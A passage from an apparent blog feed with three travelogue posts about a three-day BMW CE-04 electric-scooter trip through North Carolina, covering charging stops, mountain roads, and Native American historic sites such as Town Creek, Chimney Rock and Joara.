&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/hGdjK3bg.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the country roads between Asheboro and Siler City lies miles and miles of tar snakes. It felt like I was riding through one of those suspension test tracks you see car prototypes go through.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/qNw4Cb57.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, I&#39;m feeling done with the road. While I could just keep slogging away at these little rural roads, I&#39;m tired, the sun is getting low, and the deer are coming out to play, so I decide to slab it home via Highway 64 &amp;amp; 15-501. To do so, I head to the one charger between here and Pittsboro for one last top-off: The Ford Dealership in Siler City.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/Qm4QM71U.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It always feels awkward charging at a vehicle dealer, especially when it&#39;s not the manufacturer of your vehicle. This dealer is closed on Sundays, so it makes the experience much less weird. I add 15% to my tank, ride the last hour home, and call it a trip.&lt;/p&gt;
&lt;h3&gt;Trip Conclusion&lt;/h3&gt;
&lt;p&gt;623 miles, 3 days, 16 charging stops&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/26G8l60q.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On this trip, I&#39;ve become very comfortable touring on the BMW CE-04 - even to the point where I&#39;ve fallen in love with this surprisingly well-thought-out scooter. The only thing I can fault the scooter for is the lack of a comfortable seating position for multi-hour rides; that&#39;s the only thing my old R1150GS still gets points for.&lt;/p&gt;
&lt;p&gt;Admittedly, the first time I rode the CE-04 a long distance, I was annoyed with all the charging stops, but I&#39;ve since learned to appreciate all the forgotten small towns that topping up has taken me to. Whereas most gas stations are far from exciting walking locations, most charging stops are smack in the middle of downtown. Here is the final track for the trip:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/nqeOQSi8.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With this trip, I finally lost my sense of range anxiety. I still charged far more often than I needed to -- on average, every 37 miles the first day compared to every 45 the last day -- I got less concerned about it over time. While I encountered no broken chargers on this trip, the occurrence is frequent enough that I&#39;ll continue to ensure I always have enough range to make it to an alternative.&lt;/p&gt;
&lt;p&gt;I brought a lot of extra items for emergencies that never came to be: from the emergency electric jerrycan to the plethora of AC adapters, tire inflators, and other tools. Still, if I was to do it all over again, I&#39;d do the same trip the same way.&lt;/p&gt;
</content>
  </entry><entry>
    <title>ISO Native Lands: Day 2 (Rutherfordton↝Hickory)</title>
    <link href="https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/"/>
    <updated>2023-07-15T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Today is the day of the twisties that I&#39;ve been dreaming about, with roughly 180 miles of riding through the Blue Ridge Mountains ahead on my trusty &lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt;BMW CE-04&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Breakfast at the &lt;a href=&quot;https://carrierhouses.com/&quot;&gt;Carrier House Bed &amp;amp; Breakfast&lt;/a&gt; was incredible: a creamy parfait, a savory souflée, and excellent coffee. I regret not exploring Rutherfordton, as it&#39;s one of the oldest towns in North Carolina (1787). It was also named after a &lt;a href=&quot;https://en.wikipedia.org/wiki/Griffith_Rutherford&quot;&gt;general&lt;/a&gt; who inflicted considerable damage on the nearby Cherokee tribes in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cherokee%E2%80%93American_wars&quot;&gt;Cherokee–American wars&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Alas, the hills were calling my name.&lt;/p&gt;
&lt;h3&gt;Onward to Lake Lure!&lt;/h3&gt;
&lt;h3&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/eQHshYie.jpg&quot; alt=&quot;&quot; /&gt;&lt;/h3&gt;
&lt;!--more--&gt;
&lt;p&gt;The last time I rode a motorcycle through the mountains was in 2010, so I&#39;m feeling a bit rusty as Polk County Line Road begins to twist before continuing to Grassy Knob Rd. It&#39;s a great feeling wandering amidst the country orchards. I spy an Ornate Box Turtle crossing the road at one point and use my bike to block its safe passage.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/d56W8G7e.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the intersection of Highway 9 &amp;amp; Highway 64, the mythical Lake Lure comes into view. The scene of parts of Dirty Dancing, the lake itself, is relatively young, only coming into being in 1927. Some wiseguy developer imagined this would be an excellent site for a lake resort, so he founded Carolina Mountain Power Company, which went on to dam the Broad River and built a hydroelectric plan to power his resort town.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/Fu58oReb.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lake Lure is incredibly picturesque. I didn&#39;t need to charge here, but there was a free charger at the visitor center, and I wanted to walk around and take photos.&lt;/p&gt;
&lt;h3&gt;Chimney Rock&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/42ApGD4A.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chimney Rock is part of the Hickory Nut Gorge, sacred to the Cherokee and Catawba Indians. They tell tales of this being the land of the Yunwi Tsunsdi&#39;, or small dwarf or fairy-like humanoids who live in the rock caves. They were the guardians of the sacred tsa&#39;lu (tobacco) and took action against those who hoped to harvest it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/5HVnV6BL.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chimney Rock overlooks the Gorge and Broad River and is a State Park. The road leading up to it is slow, windy, and picturesque.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/KYrtr1Xe.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To get to the top, you can take an elevator or stairs that wind through boulders and bat caves. There are many places for Yunwi Tsunsdi&#39; to hide, so watch your step.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/V7dsFi3G.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading across the Broad River from the park is a cute tourist trap of a town. I get questioned by walkers about the scooter, check out the river, and move on.&lt;/p&gt;
&lt;h3&gt;Old Fort&lt;/h3&gt;
&lt;p&gt;Now the roads are getting twistier, which gets me pumped for the adventure to come.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/k4NuKLXj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My next stop was Old Fort, where the visitor center has two free EV chargers: one J1772 and one Tesla (NACS). The J1772 charger was in use by another BMW, so I was glad to have the TeslaTap Mini adapter handy for the CE-04. The driver on the other charger was nice enough to come out to ask if I wanted to swap spaces with them, but it wasn&#39;t necessary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/4QhKKvhG.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Downtown was small but charming, with a brewpub that I wish I had been able to try. I wasn&#39;t hungry and have a strict rule about no alcohol on two wheels. I had a very uncomfortable time riding through Belgium once, where I stopped for what should have been a long lunch and got a beer, but we had to leave early.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/T6Q7dExz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There was a lovely &lt;a href=&quot;https://www.mgmnc.org/&quot;&gt;outdoor museum&lt;/a&gt; with 18th-century buildings from the area and what seemed to be the world&#39;s most depressing craft market. Even under their shady tents, the craftspeople had wilted in the heat, and no one looked like they wanted to be there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/d1RIInSq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the way out, I passed &lt;a href=&quot;https://davidsonsforthistoricpark.com/&quot;&gt;Davidson’s Fort&lt;/a&gt;, which the town was named after. I hadn&#39;t planned to stop by - due to its controversial existence - but I was at the entrance anyways, so I wandered in.&lt;/p&gt;
&lt;p&gt;I peeked inside the fort and saw that it was occupied only by reenactment actors setting up, so I began to walk back to the bike. One of the leaders noticed me taking photos and encouraged me to come in and check things out.&lt;/p&gt;
&lt;p&gt;I&#39;m glad I did, as I got an excellent 20-minute overview of the fort&#39;s history. I&#39;ll spare you the details, but if you are interested, see the Wikipedia article on it - suffice to say, the fort has a particularly bloody history, including being the base from which Rutherfordton wiped out the towns of the Lower Cherokee.&lt;/p&gt;
&lt;p&gt;I took the bizarre way out of Old Fort recommended by the Nav software &amp;quot;Windy&amp;quot; mode, hitting small country backroads such as Cane Creek Rd and Mackey Creek Rd toward Marion.&lt;/p&gt;
&lt;p&gt;I&#39;m glad I did because the roads were both picturesque and fun to ride:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/3Y53d1TL.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Little Switzerland &amp;amp; Blue Ridge Parkway&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.visitlittleswitzerland.com/&quot;&gt;Little Switzerland&lt;/a&gt; has been on my &amp;quot;to-ride&amp;quot; list for years. It&#39;s a little slice of twisty-road heaven an hour east of Asheville, where two famously twisty roads intersect with the &lt;a href=&quot;https://www.blueridgeparkway.org/&quot;&gt;Blue Ridge Parkway&lt;/a&gt;: Highway 226A and Highway 80. Riding up Highway 80, I was having the time of my life. &lt;em&gt;&lt;strong&gt;Seriously, I haven&#39;t had this much fun in YEARS!&lt;/strong&gt;&lt;/em&gt; I couldn&#39;t help but feel I was truly living my best life here. Even the Blue Ridge Parkway section made for sublime riding. While the BRP is not exceptionally technical riding, it makes up for it in natural beauty and flow.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/MgwzhqkC.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Little Switzerland lacks a central area to walk around, but it does have several hotels, cafes, bookstores, and a handful of EV chargers. I chose to stop at the &lt;a href=&quot;https://lsbooksandbeans.com/&quot;&gt;Little Switzerland Books &amp;amp; Beans&lt;/a&gt;, as my body and bike could use the energy boost.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/A8lb78Sg.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterward, I had to pick between &lt;a href=&quot;https://diamondback226.com/&quot;&gt;226A (AKA the “Diamondback”)&lt;/a&gt;, which, while world-famous for excellent riding, would return me to Marion, where I had just come from, and continuing the Blue Ridge Parkway through &lt;a href=&quot;https://www.fs.usda.gov/recarea/nfsnc/recarea/?recid=48974&quot;&gt;Linville Gorge&lt;/a&gt;, which would get me much closer to Morganton.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/Va5StSeD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Wanting to get to Lenoir by dinner, I chose the latter. I have a small ounce of regret for missing out on 226A, but it gives me a good reason to return later.&lt;/p&gt;
&lt;h3&gt;Joara, Fort San Juan&lt;/h3&gt;
&lt;p&gt;One of the most important locations in North Carolina history lies off of an unmarked and unnamed gravel road off Hendersonville Rd, just north of Morganto: Joara.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/84Sf2uAI.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This place does not have an address or sign and was so understated that I even turned around once, unsure if this was the correct place and fearful of trespassing onto a rabid gun-owner property.&lt;/p&gt;
&lt;p&gt;Joara was a bustling Native American town and chiefdom from 1000 AD to ~1650 AD. It was visited by the Spanish in 1540, and in 1567 they made the first European settlement in North Carolina, Fort San Juan, at Joara&#39;s northern edge. Fort San Juan was also the first European settlement in the&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/Rg1yOfCq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Why have a fort so far inland? The Spanish were trying to find an overland route to the Spanish silver mines in the mountains of Mexico and figured that the Appalachians might be part of the same range. The early Spanish expeditions in America have a truly fascinating history, almost to the point of unbelievableness.&lt;/p&gt;
&lt;h3&gt;Morganton&lt;/h3&gt;
&lt;p&gt;My next step was Morganton, where at the back of one of Catawba Meadows Park parks is a &lt;a href=&quot;https://www.morgantonparksandrec.com/parksrec/page/native-american-village-interpretive-center&quot;&gt;replica Native American village&lt;/a&gt;, representing what a small section of a local village such as Joara might have looked like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/OD4WZ7yz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, I arrived just after the exhibit&#39;s closing time, so that&#39;s all there was except a sign talking about Joara. I headed downtown to top off my bike before heading North again. Morganton has a pretty courthouse if nothing else:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/9gbTr8XD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Lenoir and Hickory&lt;/h3&gt;
&lt;p&gt;Since I knew I would be in Morganton, I checked in on some old colleagues from Google who lived in Lenoir - the site of Google&#39;s North Carolina data center.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/aQT2yPWH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lenoir has much more going on than when I first visited some 15 years ago. The fact that tonight was their annual Blackberry festival helped to make that impression, but even without it, I could tell things had changed for the better.&lt;/p&gt;
&lt;p&gt;The lively festival was quickly dashed by torrential downpours, which thankfully coincided with getting dinner with my old friends.&lt;/p&gt;
&lt;p&gt;This is Debby, Dave, and me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/wixtunkt.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We hung out for a while, and once it stopped raining, I quickly said my goodbyes and raced toward my hotel in Hickory before the second arm of the storm system could reach me. A few laws may have been broken, but I&#39;m proud to say I made it to the hotel mostly dry.&lt;/p&gt;
&lt;p&gt;Once I dropped my things off, I went to move my bike to the back of the hotel to charge overnight, and the skies just opened up. We&#39;re talking dime &amp;amp; nickel-sized raindrops.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-2-rutherfordton-hickory/aQpFKGiD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Rain wouldn&#39;t have been a problem, except the charger was managed through &lt;a href=&quot;https://shellrecharge.com/&quot;&gt;Shell Recharge&lt;/a&gt;, which requires interacting with their poorly built and forgetful application. Have you ever tried to log in with your e-mail address and password in the pouring rain? How about taking a picture of a QR code in the dark when the lens is covered in water?&lt;/p&gt;
&lt;p&gt;It took me about 10 minutes to get the stupid thing to begin charging. In comparison, other chargers are just tap+plug or just plug.&lt;/p&gt;
&lt;p&gt;Having a fully charged bike will save me a good amount of time tomorrow morning, so the frustration was worth it.&lt;/p&gt;
</content>
  </entry><entry>
    <title>ISO Native Lands: Day 1 (Chapel Hill↝Rutherfordton)</title>
    <link href="https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/"/>
    <updated>2023-07-15T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Today began like most days do not: up at 5 am, staring at a scooter in the pouring rain, wondering if this trip was a good idea. Most adventures aren&#39;t, but that hasn&#39;t stopped anyone before.&lt;/p&gt;
&lt;p&gt;My favorite personal fault is that when I commit to doing something, I do it regardless if it makes sense or not. Accordingly, I pressed the button to bring the BMW CE-04 to life as thunder reverberated across my recently adopted hometown of Chapel Hill, NC.&lt;/p&gt;
&lt;p&gt;Today’s goals were the &lt;a href=&quot;https://historicsites.nc.gov/all-sites/town-creek-indian-mound&quot;&gt;Town Creek Indian Site&lt;/a&gt;, lunch with a friend, and a quaint bed and breakfast in Rutherfordton, NC - some 200 miles direct - but the straightest routes in life are always the dullest.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Flashes &amp;amp; Floods&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/Git7JMvw.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;It is raining absolutely cats, dogs, and wombats. I&#39;m glad I loaded the bike up the night before, even if it means I have to unload the rain jacket and rain pants as the thunder rumbles in the background. In the pitch-black rain, I head, nervous enough that I accidentally trigger ABS before making it out onto the main road. I&#39;m a bit more careful as I wade through downtown Chapel Hill, the UNC campus, and onto 15-501.&lt;/p&gt;
&lt;p&gt;As I pull onto the 4-lane highway south toward Pittsboro, the weather intensifies. Lightning is dancing around me in all directions, and the rain hits the road so hard that it splashes back upwards. Visibility is poor: without my brights on, I have difficulty seeing the lane markings, but due to oncoming traffic, they are off most of the time.&lt;/p&gt;
&lt;p&gt;Doubts swirl through my head: is this insanity? Is the reason why lightning strikes rarely hit humans because most of them are smart enough to stay home when bolts are visible? Is 1.7mm of tire tread enough to avoid hydroplaning? I pull into a gas station for a moment - if only to put a pair of waterproof socks on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/908kgMec.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If I hang out here for even 30 minutes, it will blow my schedule off course, so after a minute or two, I suck it up and hit the road again. I tell myself that as long as I can make it to my charging stop in Goldston, I can hide under a shelter there and delay for a while.&lt;/p&gt;
&lt;p&gt;The strength of the storm pulses in and out. My watch is buzzing with notifications, but at this point, I&#39;m not stopping for anything. Pittsboro is a blur. I turn off onto Highway 902 toward Goldston, glad that I had at least rehearsed this section earlier in the week so that I know that the road conditions are good. I&#39;m thankful that the rain keeps the deer off the road at this hour.&lt;/p&gt;
&lt;p&gt;Crossing over George&#39;s Creek, I suddenly hear a loud &amp;quot;whoosh&amp;quot; sound as my front wheel dives through a stream of water that I never saw. As the water smashes the underside of my bike, the sound reminds me of being inside a loud carwash. It hit so hard that my feet could feel the impact reverberate through the battery pack and the rubber footrest. My speed instantly drops from 40mph to 28mph before the &amp;quot;Throttle it out when in doubt&amp;quot; mantra hits, and I leave the overflowing creek behind me.&lt;/p&gt;
&lt;p&gt;I&#39;m so regretting my decision to nix purchasing an Insta360 because even in the dark, the crossing must have looked crazy. The rain begins to let up, but I keep things slow afterward anyways.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/srelMspT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I stop off at the &lt;a href=&quot;https://www.chathamcountync.gov/government/departments-programs-i-z/library/locations-hours/goldston-library?locale=en&quot;&gt;Goldston Library&lt;/a&gt; to charge: it&#39;s only 32 miles from home, but it&#39;s precisely on my route, and the next stop is just about at my 65-mile range limit for rural highways. I arrive with 52% - I only need a 5-minute charge to make it to my next stop, but I decided to try waiting out the rain. The library has no covered area, so I hid beneath a tree, and within 25 minutes, the storm finally ended.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Star: The Geographic Center of the Universe&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;With the rain halted, I tear out of the parking lot and notice the dawn coming up behind me. My mood improves.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/8TvrzQYq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I note that with the rain gone, the deer will come out soon to eat once they&#39;ve dried off. I&#39;m scared as hell of deer and take special notice whenever I pass through an area with a forest on one side of the road and a field on the other. If a deer can take out Mr. Safety, it can take me out too.&lt;/p&gt;
&lt;p&gt;By the time I hit Highway 24 toward Biscoe, the roads have dried off, and I pick up the pace to make up for lost time. The increasing frequency of signs relating to pottery let me know that I&#39;m not far from Seagrove, AKA the &amp;quot;Pottery Capital of the United States.&amp;quot; Some miles away from my destination of Star, NC, I get a little reminder of the cost of all that extra velocity.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/P5nTPA13.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There is that pernicious little formula that says: the energy required to overcome wind resistance is cubic to velocity. On a two-wheeled EV, even going 5mph over the speed limit has a noticeable impact on the range. Thankfully, my route pulls me off the highway at the next turn and puts me on slower backroads, so I arrive at the charger with 11% left.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/d2yS5uTJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I set my rain gear out to dry, set my stopwatch for 45 minutes and begin walking around in search of a bathroom, coffee, and breakfast. At 8 am on a Friday, I already know my best option is a convenience store/gas station a half-mile up the road. The town of Star is small but oozing with character: from the rail yard to the auto shop to the jail. It feels great to be exploring on foot for a change.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/kM6B9Ue4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the convenience store, an older gentleman is scratching off what appears to be an unlimited number of lottery tickets. A younger gentleman ahead of me grabs a coffee and lines his pockets with an innumerable amount of half &amp;amp; half containers. I hit the restroom, grabbed a shitty pre-manufactured pastry and a mediocre cup of coffee, and headed to the park across the street to enjoy them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/v65ch9IE.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Heading to Town&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/sSMqcvt4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From Star, I head south on Alt 220 through Biscoe and Candor (home of the NC Peach Festival) and eventually onto a 4-mile unpaved road named &amp;quot;Lovin Hill Rd.&amp;quot; There were one or two pucker moments as the road alternated between crushed stone, mud, and sand, but overall it was in good condition. I loved the experience and could not wait for it to end.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/kOpXG8rp.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was more mindful about my throttle this time and arrived at Town Creek with plenty of battery left. If I had been low on charge, my plan was to politely ask one of the rangers if I could use one of their external power outlets.&lt;/p&gt;
&lt;p&gt;Town Creek is North Carolina&#39;s only state-run park focusing on its Native American heritage. The site was an active village built by people from the Pee Dee culture and occupied from 1150—1400 AD. The villagers abandoned it for unknown reasons before the Europeans landed in North Carolina in 1524. The going theory is that they moved west to the Catawba River.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/RQmi77ue.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;m behind schedule, so I skip the movie, look at their surprisingly thin amount of artifacts, and head out the backdoor to the archeological site. They&#39;ve reconstructed the palisades, a handful of buildings, and the mound. I was a little disappointed in the lack of artifacts shown, but it&#39;s definitely worth checking out if you are in the area.&lt;/p&gt;
&lt;h3&gt;A prehistoric quarry&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/POMSt2NH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading Northwest on 73 and 27, I cross over the great Pee Dee River. The river is over 1000ft wide at this point, which allows the Uwharrie Mountains to be visible behind them. The Yadkin River joins the Uwharrie north of here, and the river today has a series of dams and reservoirs that likely contribute to the width.&lt;/p&gt;
&lt;p&gt;The Uwharrie Mountains are little known outside of North Carolina but are one of the oldest mountain ranges in the United States. They are at least 20 million years older than the Appalachians and once rose to some 20,000 feet before eroding to just over 1,100 feet. In recent history, the Uwharrie was a famous hideout for Civil War draft dodgers before Zebulon Vance ordered it cleared out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/okaUFscW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The Uwharrie Mountains were also volcanically active, resulting in a lot of rhyolite - a social-rich volcanic rock that lends itself to prehistoric tool making. By the time 10,000 BC rolled around, Morrow Mountain, in particular, had been turned into one of America&#39;s oldest rock quarries. If you wanted a sharp arrowhead or spear, it&#39;s gotta be genuine Morrow Mountain Rhyolite. Tools made from this mountain were traded throughout the East Coast and have been found in archeological sites from Maine to Florida.&lt;/p&gt;
&lt;p&gt;The roads through Morrow Mountain State Park are gorgeous, and my first taste of mountain twisties is on the BMW CE-04. Initially, I didn&#39;t feel I had precise control of it in the tight turns, but it felt great nonetheless.&lt;/p&gt;
&lt;h3&gt;Ablemarle: a weird place&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/k69DML9i.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Albemarle is a weird-feeling town - it feels far more significant than one would expect for a population of 15,000, with oodles of large government buildings. In retrospect, that makes a lot of sense, given that it is the county seat, albeit a small one. Albemarle is an old textile town with a surprisingly lovely-looking downtown area - but it was devoid of commercial activity, with only a single place open for lunch.&lt;/p&gt;
&lt;p&gt;I&#39;m an hour behind schedule, so I get lunch in Albemarle instead of Charlotte and charge up beside the police department and courthouse. On the way to eat, I dodge two police officers and a schizophrenic lady. I first overheard her yelling at the sky while unpacking the bike, so I carefully concealed the side bag with my jacket before walking away from the parking lot.&lt;/p&gt;
&lt;h3&gt;Fuck Charlotte&lt;/h3&gt;
&lt;p&gt;I was heading to Charlotte, NC, not because it made sense thematically but because I was meeting two old friends. I was running late, and I got my times a bit mixed up as I use two apps for trip planning:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://abetterrouteplanner.com/&quot;&gt;ABetterRoutePlanner&lt;/a&gt; (now owned by Rivian), which takes charging times into account and even recommends chargers along the route but does not know about the current state-of-charge&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bmwmotorcycles.com/en/engineering/connectedride.html#/section-comprehensive-options&quot;&gt;BMW Motorrad Connected&lt;/a&gt;, the only app displayable on the scooter&#39;s massive 10&amp;quot; screen, gives time estimates but neglects to consider charging times or recommend charging stops.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While programming the route in both apps, I initially added a second charging stop in East Charlotte but later removed it from ABRP as it was unnecessary. The time estimate was for that charger rather than the Starbucks.&lt;/p&gt;
